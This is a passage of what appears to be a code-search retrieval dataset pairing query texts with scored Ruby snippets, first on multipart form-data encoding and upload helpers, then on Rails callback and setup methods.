req.bcheck = \"\\r\\n#{req.bcheck}\" if req.nfwd\n req.nfwd = true\n \n # Hand the data off to the parser\n req.fparser.parse(req.bcheck) # clearly this isn't the boundary\n req.bcheck = ''\n pos = i + 1\n \n # No newline, buffer what we can\n else\n if pos + rem < epos # We have all the data we need, let's get it\n req.bcheck << data[pos,rem]\n pos += rem\n \n # Did we find the boundary?\n if req.bcheck.include?(req.multipart[0..-3])\n if req.fparser.pos <= 4\n req.fparser.cancel\n else\n req.fparser.conclude\n end\n req.bcheck = ''\n req.multistate = :headers\n \n # Nope, this data is part of the content. Send it to the parser\n # and change to the state where we just look for a newline.\n else\n # We might have to prepend a newline\n req.bcheck = \"\\r\\n#{req.bcheck}\" if req.nfwd\n req.nfwd = true\n req.fparser.parse(req.bcheck)\n req.bcheck = ''\n req.multistate = :body_nocheck \n end # of if-boundary-found\n \n # Nope, we don't have all the data we need. Buffer and exit\n else\n req.bcheck << data[pos...epos]\n return nil\n end # of if-we-have-all-the-data-we-need\n end # of if-newline-before-buffer's-end\n \n # slightly faster state for handing data to the file parser. Only\n # looks for newlines, otherwise forwards all data.\n when :body_nocheck\n i = data.index(\"\\r\\n\", pos)\n i += 1 if i\n \n # We found a newline in our data\n if i and i < epos\n req.nfwd = true\n req.fparser.parse(data[pos...(i-1)])\n pos = i + 1\n req.multistate = :body_check\n \n # We didn't find a newline - send all this data along\n else\n req.fparser.parse(data[pos...epos])\n return nil\n end # of if-newline-found\n \n end # of case multistate\n end # of while data\n end", "title": "" }, { "docid": "9aa1a036805fb44c496312e0397e0385", "score": "0.59988636", "text": "def upload_file(filename, content_type)\n fixture_file_upload(File.join(Rails.root, 'spec', 'files', filename), content_type)\nend", "title": "" }, { "docid": "3b0d78edee532b4688673c81b80a717e", "score": "0.5995199", "text": "def initialize_net_http_multipart_post_request(uri, post_body, file_params, headers)\n # Net::HTTP::Post::Multipart is from the multipart-post gem's lib/multipartable.rb\n #\n # path - The fully qualified URI for the request\n # params - A hash of params (including files for uploading and a\n # customized request body)\n # headers={} - The fully merged, final request headers\n # boundary - Optional: you can give the request a custom boundary\n #\n request = Net::HTTP::Post::Multipart.new(\n uri.request_uri,\n { post_body: post_body }.merge(file_params),\n headers\n )\n\n # DocuSign requires that we embed the document data in the body of the\n # JSON request directly so we need to call '.read' on the multipart-post\n # provided body_stream in order to serialize all the files into a\n # compatible JSON string.\n request.body = request.body_stream.read\n request\n end", "title": "" }, { "docid": "cf1fb2b5a53332680b1bc09190ba1bae", "score": "0.5992272", "text": "def assert_multipart_message(message)\n count = 1\n disposition = \"attachment\"\n filename = \"attachment.jpg\"\n type = \"image/jpeg\"\n \n assert message.multipart?\n assert message.has_attachments?\n \n attachment = message.part(1)\n assert attachment.attachment?\n \n assert_equal(disposition, attachment.header.content_disposition)\n assert_equal(disposition, attachment.header.content_disposition_naive)\n assert_equal(filename, attachment.header.unquoted_filename)\n assert_equal(type, attachment.header.content_type)\n assert_equal(type, attachment.header.content_type_naive)\n\n attachments = message.attachments(false)\n assert_equal(count, attachments.length)\n \n attachment = attachments.shift\n assert_equal(disposition, attachment[:disposition])\n assert_equal(filename, attachment[:filename])\n assert_equal(type, attachment[:type])\n end", "title": "" }, { "docid": "78d8c3f9ffc7e255acf6a340dd0f6dff", "score": "0.59724385", "text": "def multipart_encode params\n boundary = UUID.generate :compact\n content_type = \"multipart/form-data; boundary=#{boundary}\"\n data = ''\n params.each { |k, v|\n data += \"--#{boundary}\\r\\n\"\n if k == :photo\n data += \"Content-Disposition: form-data; name=\\\"#{k}\\\"; filename=\\\"#{k}.jpg\\\"\\r\\n\"\n data += \"Content-Type: image/jpeg\\r\\n\"\n else\n data += \"Content-Disposition: form-data; name=\\\"#{k}\\\"\\r\\n\"\n end\n data += \"\\r\\n#{v}\\r\\n\"\n }\n data += \"--#{boundary}--\\r\\n\\r\\n\" \n [ data, content_type ]\n end", "title": "" }, { "docid": "4c195c770f686372f85b3aebdec0849a", "score": "0.5970663", "text": "def post(nomal_param = {path: \"\",param: {}}, data={}, extra_param = {use_ssl: false, multipart: false, headers: {use_gzip: true, use_form_data: true, header: {}}})\n\n use_ssl = extra_param[:use_ssl].nil? ? false : extra_param.delete(:use_ssl)\n headers = extra_param[:headers].nil? ? {} : extra_param.delete(:headers)\n multipart = extra_param[:multipart].nil? ? false : extra_param.delete(:multipart)\n path = nomal_param[:path] || @request_uri.request_uri\n param = nomal_param[:param] || {}\n\n u = uri(path, param, use_ssl)\n http = Net::HTTP.new(u.host, u.port)\n\n request = Net::HTTP::Post.new(u.request_uri, set_headers(headers))\n\n # covert_pic64_to_pic it will work with set_form\n # set_form # File net/http.rb, line 1796\n data = covert_pic64_to_pic(data)\n\n##################################################\n#To send multipart/form-data use Net::HTTPGenericRequest#body= and #Net::HTTPHeader#content_type=:\n# req = Net::HTTP::Post.new(uri.path)\n# req.body = multipart_data\n# req.content_type = 'multipart/form-data'\n# Other requests that can contain a body such as PUT can be created in the same way using the corresponding request class (Net::HTTP::Put).\n#################################\n\n if multipart\n # enctype is the type to encode the form data set. It is application/x-www-form-urlencoded or multipart/form-data\n request.set_form(data, enctype='multipart/form-data', formopt={})\n else\n # set_form_data Also aliased as: form_data=\n request.set_form_data data\n end\n\n #if use_ssl\n # http.use_ssl = true\n # http.verify_mode = OpenSSL::SSL::VERIFY_NONE #not work\n #end\n\n #response = Net::HTTP.post_form(uri(path, param), data) #can only return some string\n response = http.request(request)\n response.body\n #####\n #destroy_tmpfile(data[:pic])\n\n=begin\nbegin\n Net::HTTP.start(u.host, u.port) do |http|\n request = Net::HTTP::Post.new u.request_uri\n\n response = http.request request # Net::HTTPResponse object\n response.body\n end\nrescue => e\n {error: e.message}\nend\n=end\n end", "title": "" }, { "docid": "3bc5a7f887391bdfd46abca7b54177fc", "score": "0.5957408", "text": "def multipart_post(path, params={})\n raise ArgumentError.new(\"Must specify a valid file to include\\nYou specified #{params[:data]}\") unless File.exists?(params[:data])\n uri = full_uri(path)\n payload = { 'tout[data]' => Faraday::UploadIO.new(params[:data], 'video/mp4')}.merge(params)\n\n Trubl.logger.info { \"Trubl::Client multipart post-ing #{uri.to_s} (content omitted)\" }\n\n Faraday.new(url: uri) do |faraday|\n faraday.headers = options\n faraday.request :multipart\n faraday.response :logger\n faraday.adapter Faraday.default_adapter\n end.post(uri.to_s, payload).tap do |response|\n if !response.status =~ /20[0-9]/\n Trubl.logger.fatal { \"Trubl::Client multipart post-ing #{uri.to_s} #{response.code} #{response.parsed_response}\" }\n end\n end\n end", "title": "" }, { "docid": "64a69b2b045fe36732cfa09d95f9ebc7", "score": "0.5946775", "text": "def form_data(attributes, boundary)\n message = \"\\r\\n\\r\\n\"\n attributes.each do |key, val|\n message += \"--#{boundary}\\r\\n\\r\\n\"\n message += \"Content-Disposition: form-data; name=\\\"project[#{key}]\\\"\\r\\n\\r\\n\"\n message += \"#{val}\\r\\n\"\n end\n message += \"--#{boundary}--\\r\\n\\r\\n\"\n message\nend", "title": "" }, { "docid": "8b39aee3ee4c046764021c51e8ac6e17", "score": "0.59443897", "text": "def build_multipart(parts, mime_type = 'multipart/related', boundary = MULTIPART_BOUNDARY)\n env = {\n :request_headers => {'Content-Type' => \"#{mime_type};boundary=#{boundary}\"},\n :request => { :boundary => boundary }\n }\n multipart = Faraday::Request::Multipart.new\n self.body = multipart.create_multipart(env, parts.map {|part| [nil, part]})\n self.headers.update(env[:request_headers])\n end", "title": "" }, { "docid": "eb9c9d9ce1fee39122d6d838ad61b64d", "score": "0.5934579", "text": "def upload_file_chunked_multipart token, folder_id, file_path\n\n filename = File.basename(file_path)\n file_content = File.open(file_path, 'rb') { |io| io.read }\n file_length = file_content.length\n uri = URI.parse \"https://#{get_hostname token}/sf/v3/Items(#{folder_id})/Upload?method=threaded&raw=false&\" +\n \"fileName=#{filename}&overwrite=True&fileSize=#{file_length}\"\n puts uri\n\n http = Net::HTTP.new uri.host, uri.port\n http.use_ssl = true\n http.verify_mode = OpenSSL::SSL::VERIFY_PEER\n\n request = Net::HTTP::Get.new uri.request_uri\n request['Authorization'] = get_authorization_header token\n\n response = http.request request\n puts \"#{response.code} #{response.message}\"\n puts \"#{response.body}\"\n if response.kind_of? Net::HTTPSuccess\n hash = JSON.parse response.body\n puts \"file length is #{file_length}\"\n length_first = file_length / 2\n chunk_uri = hash['ChunkUri']\n first_part = file_content[0 ... length_first]\n second_part = file_content[length_first ... file_length]\n\n uri_first = chunk_uri + \"&index=0&byteOffset=0&hash=#{Digest::MD5.hexdigest(first_part)}\"\n puts \"uri_first is #{uri_first}\"\n response_first = multipart_form_post_chunk uri_first, first_part, filename\n puts \"response_first: #{response_first.code} #{response_first.message}\"\n puts \"response_first: #{response_first.body}\"\n\n uri_second = chunk_uri + \"&index=1&byteOffset=#{length_first}&hash=#{Digest::MD5.hexdigest(second_part)}\"\n puts \"uri_second is #{uri_second}\"\n response_second = multipart_form_post_chunk uri_second, second_part, filename\n puts \"response_second: #{response_second.code} #{response_second.message}\"\n puts \"response_second: #{response_second.body}\"\n\n finish_uri_string = hash['FinishUri']\n puts \"finish_uri_string is #{finish_uri_string}\"\n uri_finish = URI.parse finish_uri_string\n request_finish = Net::HTTP::Get.new uri_finish.request_uri\n request_finish['Authorization'] = get_authorization_header token\n http_finish = Net::HTTP.new uri_finish.host, uri_finish.port\n http_finish.use_ssl = true\n http_finish.verify_mode = OpenSSL::SSL::VERIFY_PEER\n\n response_finish = http_finish.request request_finish\n puts \"response_finish: #{response_finish.code} #{response_finish.message}\"\n puts \"response_finish: #{response_finish.body}\"\n\n end\nend", "title": "" }, { "docid": "e0b18b294670c2d434018ddd3cae8931", "score": "0.5932469", "text": "def create\n (multipart? ? multipart_send(create_url,:post) : super).instance_of?(Net::HTTPCreated)\n end", "title": "" }, { "docid": "e0b18b294670c2d434018ddd3cae8931", "score": "0.5932469", "text": "def create\n (multipart? ? multipart_send(create_url,:post) : super).instance_of?(Net::HTTPCreated)\n end", "title": "" }, { "docid": "1745d3e50dfae66c129cb039ea810f45", "score": "0.59313446", "text": "def post(path, params = {}, data_path = \"\")\n\t\t\turi = URI(path)\n\t\t\turi.query = URI.encode_www_form(params)\n\n\t\t\tres = Net::HTTP.start(uri.host, uri.port, :use_ssl => uri.scheme == 'https') do |http|\n\t\t\t\treq = Net::HTTP::Post.new(uri.request_uri)\n\n\t\t\t\tif data_path.empty?\n\t\t\t\t\treq.set_form_data(params)\n\t\t\t\telse\n\t\t\t\t\tboundary = rand(1000000).to_s\n\t\t\t\t\t\n\t\t\t\t\treq.body_stream = BOTR::Multipart.new(data_path, boundary)\n\t\t\t\t\treq[\"Content-Type\"] = \"multipart/form-data; boundary=#{boundary}\"\n\t\t\t\t\treq[\"Content-Length\"] = req.body_stream.size.to_s\t\t\n\t\t\t\tend\n\t\t\t\t\n\t\t\t\thttp.request req\n\t\t\tend\n\n\t\t\trespond(res)\t\t\t\n\t\tend", "title": "" }, { "docid": "10b8566ee85fe4aef5656ca08bb206ac", "score": "0.5920063", "text": "def encode_multipart(fields, files)\n\n\tpost_body = []\n\tfields.each do |key, value|\n\t\tpost_body << \"--#{BOUNDARY}\"\n\t\tpost_body << \"Content-Disposition: form-data; name=\\\"#{key}\\\"\"\n\t\tpost_body << \"\"\n\t\tpost_body << value\n\tend\n\tfiles.each do |key, filename, value|\n\t\tpost_body << \"--#{BOUNDARY}\"\n\t\tpost_body << \"Content-Disposition: form-data; name=\\\"#{key}\\\"; filename=\\\"#{filename}\\\"\"\n\t\tpost_body << \"Content-Type: application/octet-stream\"\n\t\tpost_body << \"\"\n\t\tpost_body << value\n\tend\n\n\tpost_body << \"--#{BOUNDARY}--\"\n\tpost_body << \"\"\n\n\tbody = post_body.join(CRLF)\n\n\tcontent_type = \"multipart/form-data; boundary=#{BOUNDARY}\"\n\t\n\treturn content_type, body\nend", "title": "" } ]
f74c29bdfc4a183e1ec1b91334cd5be2
Use callbacks to share common setup or constraints between actions.
[ { "docid": "b926e7cca354e0b19ae37af98d739d06", "score": "0.0", "text": "def set_conversation\n @issue = Conversation.find(params[:id])\n end", "title": "" } ]
[ { "docid": "bd89022716e537628dd314fd23858181", "score": "0.6163163", "text": "def set_required_actions\n # TODO: check what fields change to asign required fields\n end", "title": "" }, { "docid": "3db61e749c16d53a52f73ba0492108e9", "score": "0.6045976", "text": "def action_hook; end", "title": "" }, { "docid": "b8b36fc1cfde36f9053fe0ab68d70e5b", "score": "0.5946146", "text": "def run_actions; end", "title": "" }, { "docid": "3e521dbc644eda8f6b2574409e10a4f8", "score": "0.591683", "text": "def define_action_hook; end", "title": "" }, { "docid": "801bc998964ea17eb98ed4c3e067b1df", "score": "0.5890051", "text": "def actions; end", "title": "" }, { "docid": "bfb8386ef5554bfa3a1c00fa4e20652f", "score": "0.58349305", "text": "def define_action_helpers\n if super && action == :save\n @instance_helper_module.class_eval do\n define_method(:valid?) do |*args|\n self.class.state_machines.fire_event_attributes(self, :save, false) { super(*args) }\n end\n end\n end\n end", "title": "" }, { "docid": "6c8e66d9523b9fed19975542132c6ee4", "score": "0.5776858", "text": "def add_actions; end", "title": "" }, { "docid": "9c186951c13b270d232086de9c19c45b", "score": "0.5703237", "text": "def callbacks; end", "title": "" }, { "docid": "9c186951c13b270d232086de9c19c45b", "score": "0.5703237", "text": "def callbacks; end", "title": "" }, { "docid": "6ce8a8e8407572b4509bb78db9bf8450", "score": "0.5652805", "text": "def setup *actions, &proc\n (@setup_procs ||= []) << [proc, actions.size > 0 ? actions : [:*]]\n end", "title": "" }, { "docid": "1964d48e8493eb37800b3353d25c0e57", "score": "0.5621621", "text": "def define_action_helpers; end", "title": "" }, { "docid": "5df9f7ffd2cb4f23dd74aada87ad1882", "score": "0.54210985", "text": "def post_setup\n end", "title": "" }, { "docid": "dbebed3aa889e8b91b949433e5260fb5", "score": "0.5411113", "text": "def action_methods; end", "title": "" }, { "docid": "dbebed3aa889e8b91b949433e5260fb5", "score": "0.5411113", "text": "def action_methods; end", "title": "" }, { "docid": "dbebed3aa889e8b91b949433e5260fb5", "score": "0.5411113", "text": "def action_methods; end", "title": "" }, { "docid": "c5904f93614d08afa38cc3f05f0d2365", "score": "0.5391541", "text": "def before_setup; end", "title": "" }, { "docid": "f099a8475f369ce73a38d665b6ee6877", "score": "0.53794575", "text": "def action_run\n end", "title": "" }, { "docid": "2c4e5a90aa8efaaa3ed953818a9b30d2", "score": "0.5357573", "text": "def execute(setup)\n @action.call(setup)\n end", "title": "" }, { "docid": "0464870c8688619d6c104d733d355b3b", "score": "0.53402257", "text": "def define_action_helpers?; end", "title": "" }, { "docid": "0e7bdc54b0742aba847fd259af1e9f9e", "score": "0.53394014", "text": "def set_actions\n actions :all\n end", "title": "" }, { "docid": "5510330550e34a3fd68b7cee18da9524", "score": "0.53321576", "text": "def action_done(action)\n dispatch = { :migrate => :done_migrating, :map => :done_mapping, :reduce =>\n :done_reducing, :finalize => :done_finalizing } \n self.send dispatch[action[:action]], action\n end", "title": "" }, { "docid": "97c8901edfddc990da95704a065e87bc", "score": "0.53124547", "text": "def dependencies action, &block\n @actions.each do |other|\n if action[:requires].include? other[:provide]\n block.call other\n end\n end\n end", "title": "" }, { "docid": "4f9a284723e2531f7d19898d6a6aa20c", "score": "0.529654", "text": "def setup!\n return unless @setup_procs\n http_actions = actions\n @setup_procs.each do |setup_proc|\n proc, actions = setup_proc\n @setup__actions = actions.map do |action|\n\n action.is_a?(Regexp) ?\n http_actions.select { |a| a.to_s =~ action } :\n action.is_a?(String) && action =~ /\\A\\./ ?\n http_actions.map { |a| a.to_s << action if format?(a).include?(action) }.compact :\n action\n\n end.flatten\n self.class_exec &proc\n @setup__actions = nil\n end\n @setup_procs = nil\n end", "title": "" }, { "docid": "83684438c0a4d20b6ddd4560c7683115", "score": "0.5296262", "text": "def before_actions(*logic)\n self.before_actions = logic\n end", "title": "" }, { "docid": "210e0392ceaad5fc0892f1335af7564b", "score": "0.52952296", "text": "def setup_handler\n end", "title": "" }, { "docid": "a997ba805d12c5e7f7c4c286441fee18", "score": "0.52600986", "text": "def set_action(opts)\n opts = check_params(opts,[:actions])\n super(opts)\n end", "title": "" }, { "docid": "1d50ec65c5bee536273da9d756a78d0d", "score": "0.52442724", "text": "def setup(action)\n @targets.clear\n unless action.item.target_filters.empty?\n @targets = SES::TargetManager.make_targets(action)\n else\n item = action.item\n if item.for_opponent?\n @targets = $game_troop.alive_members\n elsif item.for_dead_friend?\n @targets = $game_party.battle_members.select { |actor| actor.dead? }\n else\n $game_party.battle_members.select { |actor| actor.alive? }\n end\n end\n @item_max = @targets.size\n create_contents\n refresh\n show\n activate\n end", "title": "" }, { "docid": "e6d7c691bed78fb0eeb9647503f4a244", "score": "0.52385926", "text": "def action; end", "title": "" }, { "docid": "e6d7c691bed78fb0eeb9647503f4a244", "score": "0.52385926", "text": "def action; end", "title": "" }, { "docid": "e6d7c691bed78fb0eeb9647503f4a244", "score": "0.52385926", "text": "def action; end", "title": "" }, { "docid": "e6d7c691bed78fb0eeb9647503f4a244", "score": "0.52385926", "text": "def action; end", "title": "" }, { "docid": "e6d7c691bed78fb0eeb9647503f4a244", "score": "0.52385926", "text": "def action; end", "title": "" }, { "docid": "635288ac8dd59f85def0b1984cdafba0", "score": "0.5232394", "text": "def workflow\n end", "title": "" }, { "docid": "e34cc2a25e8f735ccb7ed8361091c83e", "score": "0.523231", "text": "def revisable_shared_setup(args, block)\n class << self\n attr_accessor :revisable_options\n end\n options = args.extract_options!\n self.revisable_options = Options.new(options, &block)\n \n self.send(:include, Common)\n self.send(:extend, Validations) unless self.revisable_options.no_validation_scoping?\n self.send(:include, WithoutScope::QuotedColumnConditions)\n end", "title": "" }, { "docid": "78b21be2632f285b0d40b87a65b9df8c", "score": "0.5227454", "text": "def setup\n @action = SampleActionAndroid.new(os_name: 'android',\n app_name: APP_PATH)\n end", "title": "" }, { "docid": "6350959a62aa797b89a21eacb3200e75", "score": "0.52226824", "text": "def before(action)\n invoke_callbacks *self.class.send(action).before\n end", "title": "" }, { "docid": "923ee705f0e7572feb2c1dd3c154b97c", "score": "0.52201617", "text": "def process_action(...)\n send_action(...)\n end", "title": "" }, { "docid": "b89a3908eaa7712bb5706478192b624d", "score": "0.5212327", "text": "def before_dispatch(env); end", "title": "" }, { "docid": "7115b468ae54de462141d62fc06b4190", "score": "0.52079266", "text": "def after_actions(*logic)\n self.after_actions = logic\n end", "title": "" }, { "docid": "d89a3e408ab56bf20bfff96c63a238dc", "score": "0.52050185", "text": "def setup\n # override and do something appropriate\n end", "title": "" }, { "docid": "62c402f0ea2e892a10469bb6e077fbf2", "score": "0.51754695", "text": "def setup(client)\n return unless @setup\n actions = @setup['setup'].select { |action| action['do'] }.map { |action| Action.new(action['do']) }\n actions.each do |action|\n action.execute(client)\n end\n self\n end", "title": "" }, { "docid": "72ccb38e1bbd86cef2e17d9d64211e64", "score": "0.51726824", "text": "def setup(_context)\n end", "title": "" }, { "docid": "b4f4e1d4dfd31919ab39aecccb9db1d0", "score": "0.51710224", "text": "def setup(resources) ; end", "title": "" }, { "docid": "1fd817f354d6cb0ff1886ca0a2b6cce4", "score": "0.5166172", "text": "def validate_actions\n errors.add(:base, :should_give_at_least_one_action) if !manage? && !forecasting? && !read? && !api?\n end", "title": "" }, { "docid": "5531df39ee7d732600af111cf1606a35", "score": "0.5159343", "text": "def setup\n @resource_config = {\n :callbacks => {\n :before_create => nil,\n :after_create => nil,\n :before_update => nil,\n :after_update => nil,\n :before_destroy => nil,\n :after_destroy => nil,\n },\n :child_assoc => nil,\n :model => nil,\n :parent => nil,\n :path => nil,\n :permission => {},\n :properties => {},\n :relation => {\n :create => nil,\n :delete => nil,\n },\n :roles => nil,\n }\n end", "title": "" }, { "docid": "bb6aed740c15c11ca82f4980fe5a796a", "score": "0.51578903", "text": "def determine_valid_action\n\n end", "title": "" }, { "docid": "b38f9d83c26fd04e46fe2c961022ff86", "score": "0.51522785", "text": "def process_shared\n handle_taxes\n handle_shippings\n create_adjustments_from_params\n handle_status\n handle_inventory_refunds\n handle_payment_transactions\n order.updater.update\n end", "title": "" }, { "docid": "199fce4d90958e1396e72d961cdcd90b", "score": "0.5152022", "text": "def startcompany(action)\n @done = true\n action.setup\n end", "title": "" }, { "docid": "994d9fe4eb9e2fc503d45c919547a327", "score": "0.51518047", "text": "def init_actions\n am = action_manager()\n am.add_action(Action.new(\"&Disable selection\") { @selection_mode = :none; unbind_key(32); bind_key(32, :scroll_forward); } )\n am.add_action(Action.new(\"&Edit Toggle\") { @edit_toggle = !@edit_toggle; $status_message.value = \"Edit toggle is #{@edit_toggle}\" })\n end", "title": "" }, { "docid": "62fabe9dfa2ec2ff729b5a619afefcf0", "score": "0.51456624", "text": "def event_callbacks(event, metadata={})\n case event\n when :reset, :review\n if confirmed\n update_attributes(confirmed: false)\n end\n when :confirm\n confirm\n # trigger :order for all applicable items\n # NOTE: :order event is common to both physical and digital items\n items.each do |i|\n if i.event_permitted(:order)\n user_id = last_transition.user_id\n i.trigger!(:order, { order_id: id, user_id: user_id })\n end\n end\n when :complete_work\n request = metadata[:request]\n work_complete_notification(request)\n when :close\n close\n end\n if event != :close && !open\n reopen\n end\n end", "title": "" }, { "docid": "faddd70d9fef5c9cd1f0d4e673e408b9", "score": "0.51398855", "text": "def setup_action\n return unless PONY::ERRNO::check_sequence(current_act)\n new_sequence = @action_sequence[@sequence_index+1...@action_sequence.size]\n @sequence_index = 0\n new_sequence = DND::SkillSequence::ACTS[@acts[1]] + new_sequence\n execute_sequence\n end", "title": "" }, { "docid": "adb8115fce9b2b4cb9efc508a11e5990", "score": "0.5133759", "text": "def define_tasks\n define_weave_task\n connect_common_tasks\n end", "title": "" }, { "docid": "e1dd18cf24d77434ec98d1e282420c84", "score": "0.5112076", "text": "def setup(&block)\n define_method(:setup, &block)\n end", "title": "" }, { "docid": "3b4fb29fa45f95d436fd3a8987f12de7", "score": "0.5111866", "text": "def setup\n transition_to(:setup)\n end", "title": "" }, { "docid": "3b4fb29fa45f95d436fd3a8987f12de7", "score": "0.5111866", "text": "def setup\n transition_to(:setup)\n end", "title": "" }, { "docid": "975ecc8d218b62d480bbe0f6e46e72bb", "score": "0.5110294", "text": "def action\n end", "title": "" }, { "docid": "f54964387b0ee805dbd5ad5c9a699016", "score": "0.5106169", "text": "def setup( *args )\n\t\t\tself.class.setupBlocks.each {|sblock|\n\t\t\t\tdebugMsg \"Calling setup block method #{sblock}\"\n\t\t\t\tself.send( sblock )\n\t\t\t}\n\t\t\tsuper( *args )\n\t\tend", "title": "" }, { "docid": "35b302dd857a031b95bc0072e3daa707", "score": "0.509231", "text": "def config(action, *args); end", "title": "" }, { "docid": "bc3cd61fa2e274f322b0b20e1a73acf8", "score": "0.50873137", "text": "def setup\n @setup_proc.call(self) if @setup_proc\n end", "title": "" }, { "docid": "5c3cfcbb42097019c3ecd200acaf9e50", "score": "0.5081088", "text": "def before_action \n end", "title": "" }, { "docid": "246840a409eb28800dc32d6f24cb1c5e", "score": "0.508059", "text": "def setup_callbacks\n defined_callbacks.each do |meth|\n unless respond_to?(\"call_#{meth}_callbacks\".to_sym)\n self.class.module_eval <<-EOE\n def call_#{meth}_callbacks(*args)\n plugin_store.each {|a| a.call_#{meth}_callbacks(*args) } if respond_to?(:plugin_store) && plugin_store\n self.send :#{meth}, *args if respond_to?(:#{meth})\n end\n EOE\n end\n end\n end", "title": "" }, { "docid": "dfbcf4e73466003f1d1275cdf58a926a", "score": "0.50677156", "text": "def action\n end", "title": "" }, { "docid": "36eb407a529f3fc2d8a54b5e7e9f3e50", "score": "0.50562143", "text": "def matt_custom_action_begin(label); end", "title": "" }, { "docid": "b6c9787acd00c1b97aeb6e797a363364", "score": "0.5050554", "text": "def setup\n # override this if needed\n end", "title": "" }, { "docid": "9fc229b5b48edba9a4842a503057d89a", "score": "0.50474834", "text": "def setup\n\t\t\t\t\t\t# Do nothing\n\t\t\t\tend", "title": "" }, { "docid": "9fc229b5b48edba9a4842a503057d89a", "score": "0.50474834", "text": "def setup\n\t\t\t\t\t\t# Do nothing\n\t\t\t\tend", "title": "" }, { "docid": "fd421350722a26f18a7aae4f5aa1fc59", "score": "0.5036181", "text": "def action(options,&callback)\n new_action = Action===options ? options : Action.new(options,&callback)\n # replace any with (shared name/alias or both default) + same arity\n @actions.delete_if do |existing_action|\n ((existing_action.names & new_action.names).size > 0 ||\n existing_action.default? && new_action.default?) &&\n existing_action.required.size == new_action.required.size &&\n existing_action.optional.size <= new_action.optional.size\n end\n @actions = (@actions + [new_action]).sort\n new_action\n end", "title": "" }, { "docid": "d02030204e482cbe2a63268b94400e71", "score": "0.5026331", "text": "def set_target_and_action target, action\n self.target = target\n self.action = 'sugarcube_handle_action:'\n @sugarcube_action = action\n end", "title": "" }, { "docid": "4224d3231c27bf31ffc4ed81839f8315", "score": "0.5022976", "text": "def after(action)\n invoke_callbacks *options_for(action).after\n end", "title": "" }, { "docid": "24506e3666fd6ff7c432e2c2c778d8d1", "score": "0.5015441", "text": "def pre_task\n end", "title": "" }, { "docid": "0c16dc5c1875787dacf8dc3c0f871c53", "score": "0.50121695", "text": "def setup(server)\n server.on('beforeMethod', method(:before_method), 10)\n end", "title": "" }, { "docid": "c99a12c5761b742ccb9c51c0e99ca58a", "score": "0.5000944", "text": "def add_actions\n attribute = machine.attribute\n name = self.name\n \n owner_class.class_eval do\n define_method(name) {self.class.state_machines[attribute].events[name].fire(self)}\n define_method(\"#{name}!\") {self.class.state_machines[attribute].events[name].fire!(self)}\n define_method(\"can_#{name}?\") {self.class.state_machines[attribute].events[name].can_fire?(self)}\n end\n end", "title": "" }, { "docid": "0cff1d3b3041b56ce3773d6a8d6113f2", "score": "0.5000019", "text": "def init_actions\n @select_action = SelectAction.new\n @endpoint_mouse_action = EndpointMouseAction.new\n @move_action = MoveAction.new\n end", "title": "" }, { "docid": "791f958815c2b2ac16a8ca749a7a822e", "score": "0.4996878", "text": "def setup_signals; end", "title": "" }, { "docid": "6e44984b54e36973a8d7530d51a17b90", "score": "0.4989888", "text": "def after_created\r\n return unless compile_time\r\n Array(action).each do |action|\r\n run_action(action)\r\n end\r\nend", "title": "" }, { "docid": "6e44984b54e36973a8d7530d51a17b90", "score": "0.4989888", "text": "def after_created\r\n return unless compile_time\r\n Array(action).each do |action|\r\n run_action(action)\r\n end\r\nend", "title": "" }, { "docid": "5aa51b20183964c6b6f46d150b0ddd79", "score": "0.49864885", "text": "def set_target_and_action target, action\n self.target = target\n self.action = 'sugarcube_handle_action:'\n @sugarcube_action = action.respond_to?('weak!') ? action.weak! : action\n end", "title": "" }, { "docid": "7647b99591d6d687d05b46dc027fbf23", "score": "0.49797225", "text": "def initialize(*args)\n super\n @action = :set\nend", "title": "" }, { "docid": "67e7767ce756766f7c807b9eaa85b98a", "score": "0.49785787", "text": "def after_set_callback; end", "title": "" }, { "docid": "2a2b0a113a73bf29d5eeeda0443796ec", "score": "0.4976161", "text": "def setup\n #implement in subclass;\n end", "title": "" }, { "docid": "63e628f34f3ff34de8679fb7307c171c", "score": "0.49683493", "text": "def lookup_action; end", "title": "" }, { "docid": "a5294693c12090c7b374cfa0cabbcf95", "score": "0.4965126", "text": "def setup &block\n if block_given?\n @setup = block\n else\n @setup.call\n end\n end", "title": "" }, { "docid": "57dbfad5e2a0e32466bd9eb0836da323", "score": "0.4958034", "text": "def setup_action\n return TSBS.error(@acts[0], 1, @used_sequence) if @acts.size < 2\n actions = TSBS::AnimLoop[@acts[1]]\n if actions.nil?\n show_action_error(@acts[1])\n end\n @sequence_stack.push(@acts[1])\n @used_sequence = @acts[1]\n actions.each do |acts|\n @acts = acts\n execute_sequence\n break if @break_action\n end\n @sequence_stack.pop\n @used_sequence = @sequence_stack[-1]\n end", "title": "" }, { "docid": "5b6d613e86d3d68152f7fa047d38dabb", "score": "0.49559742", "text": "def release_actions; end", "title": "" }, { "docid": "4aceccac5b1bcf7d22c049693b05f81c", "score": "0.4954353", "text": "def around_hooks; end", "title": "" }, { "docid": "2318410efffb4fe5fcb97970a8700618", "score": "0.49535993", "text": "def save_action; end", "title": "" }, { "docid": "64e0f1bb6561b13b482a3cc8c532cc37", "score": "0.4952725", "text": "def setup(easy)\n super\n easy.customrequest = @verb\n end", "title": "" }, { "docid": "fbd0db2e787e754fdc383687a476d7ec", "score": "0.49467874", "text": "def action_target()\n \n end", "title": "" }, { "docid": "b280d59db403306d7c0f575abb19a50f", "score": "0.49423352", "text": "def setup\n callback(:setup) do\n notify(:setup)\n migration_check.last_deployed_commit\n end\n end", "title": "" }, { "docid": "9f7547d93941fc2fcc7608fdf0911643", "score": "0.49325448", "text": "def setup\n return unless @setup\n\n actions = @setup['setup'].select { |action| action['do'] }.map { |action| Action.new(action['do']) }\n run_actions_and_retry(actions)\n self\n end", "title": "" }, { "docid": "da88436fe6470a2da723e0a1b09a0e80", "score": "0.49282882", "text": "def before_setup\n # do nothing by default\n end", "title": "" }, { "docid": "17ffe00a5b6f44f2f2ce5623ac3a28cd", "score": "0.49269363", "text": "def my_actions(options)\n @setup = false\n get_template_part(\"custom_used\",\"action_users\",true)\n end", "title": "" }, { "docid": "21d75f9f5765eb3eb36fcd6dc6dc2ec3", "score": "0.49269104", "text": "def default_action; end", "title": "" }, { "docid": "3ba85f3cb794f951b05d5907f91bd8ad", "score": "0.49252945", "text": "def setup(&blk)\n @setup_block = blk\n end", "title": "" }, { "docid": "80834fa3e08bdd7312fbc13c80f89d43", "score": "0.4923091", "text": "def callback_phase\n super\n end", "title": "" }, { "docid": "f1da8d654daa2cd41cb51abc7ee7898f", "score": "0.49194667", "text": "def advice\n end", "title": "" }, { "docid": 